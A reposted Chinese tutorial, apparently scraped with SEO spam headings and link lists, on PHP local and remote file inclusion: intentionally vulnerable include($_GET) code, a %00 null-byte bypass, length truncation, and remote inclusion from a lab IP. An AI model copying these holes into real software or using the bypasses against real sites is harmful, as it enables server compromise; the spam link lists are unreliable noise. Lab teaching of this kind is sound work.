当前位置: 首页 > wzjs >正文

养老保险2023价格表seo课程心得体会

养老保险2023价格表,seo课程心得体会,注册城乡规划师考试科目,安康市滴滴公司电话文件本地与远程包含: 文件包含有本地包含与远程包含的区别:本地包含只能包含服务器已经有的问题; 远程包含可以包含一切网络上的文件。 本地包含: ①无限制 感受一下使用phpstudy的文件上传,开启phpstudy的apache…

文件本地与远程包含:

文件包含有本地包含与远程包含的区别:本地包含只能包含服务器已经有的问题;

远程包含可以包含一切网络上的文件。

  • 本地包含:

①无限制

感受一下使用phpstudy的文件上传,开启phpstudy的apache服务,在网站根目录新建两个文件

//1.txt 
<?php 
phpinfo(); 
?> //upload.php 
<?php 
$filename=$_GET['filename']; 
include($filename); 
?>

 

直接访问localhost/upload.php?filename=1.txt(upload.php文件内容意为使用GET方式将文件名参数传入,执行包含指令),访问如图(即使是txt文件,但是include会将其按php文件进行解析)

②有限制

如果服务器对上传的文件有限制,我们需要做绕过处理将文件包含进去。

在网站根目录下新建两个文件

//1.txt 
<?php 
phpinfo(); 
?>//upload2.php 
<?php 
$filename=$_GET['filename']; 
include($filename.'.html') 
?>

如果直接访问localhost/upload2.php?filename=1.txt会报错,因为有限制,我们可以使用%00截断进行绕过。(%00具体解释参考往篇)访问localhost/upload2.php?filename=1.txt%00

长度截断:Windows和Linux对命名长度有限制,前者256个字符(磁盘分区还占一个,用户只能使用255个),后者4096

  • 远程包含:

phpstudy其他选项菜单-php扩展与设置-参数开关设置中打开allow_url_include(一般情况下为了安全性,这个是关的状态)

在远程服务器上上传文件(或者可以用虚拟机靶机做实验,在靶机的phpstudy上的根目录里写文件)如下:

//1.txt 
<?php 
phpinfo(); 
?>

靶机查询IP地址,假如是192.168.123.23

就可以在主机上直接访问http://192.168.123.23:88/1.txt

可以看到上传文件内容。

我们再使用文件包含,即访问http://localhost/upload.php?filename=http://192.168.123.23:88/1.txt即可执行文件内容。

http://www.dtcms.com/wzjs/201814.html

相关文章:

  • 软件定制合同温州seo排名公司
  • 南昌网站建设方案服务如何做好产品网络推广
  • 曲阜建设局网站营销软文范例大全300字
  • 北京网站建设在线今日新闻热点大事件
  • 大兴安岭建设局网站张北网站seo
  • 百度网址大全网址导航网络营销的seo是做什么的
  • 网上投注网站建设收录查询工具
  • 网站建设文化哪家好关键词seo深圳
  • 中国住房和建设部网站免费二级域名查询网站
  • 网站大多用源码来做吗营销推广网站推广方案
  • 2023年推广网站女教师遭网课入侵直播
  • 左侧导航栏网站地推一手项目平台
  • 哈尔滨网站建设nsstd.com网站设计与制作教程
  • 网站建设服务器的选择方案有产品推广介绍怎么写
  • 简述电子商务网站建设方案中国职业培训在线平台
  • 做网站的公司cnfg简述seo
  • 有哪些网站有做网页用的小图片网上教育培训机构哪家好
  • 海南省住房建设厅网站杭州优化商务服务公司
  • 公司官网推广百度优化培训
  • 上海专业做网站建设公司二级域名网址查询
  • 哈尔滨网站建设丿薇下载百度导航最新版本
  • 佛山网站建设公司价格seo优化工具大全
  • b2c网站服务内容百度开户渠道商哪里找
  • wordpress子页面都转到首页seo还有前景吗
  • 模具 东莞网站建设东莞seo网站管理
  • php做的网站优缺点付费推广外包
  • 网站模版广州推广排名
  • 群晖ds218+做网站seo专员工资一般多少
  • 专注微信网站建设厦门关键词优化企业
  • 政府采购电子商城网站营销型网站制作企业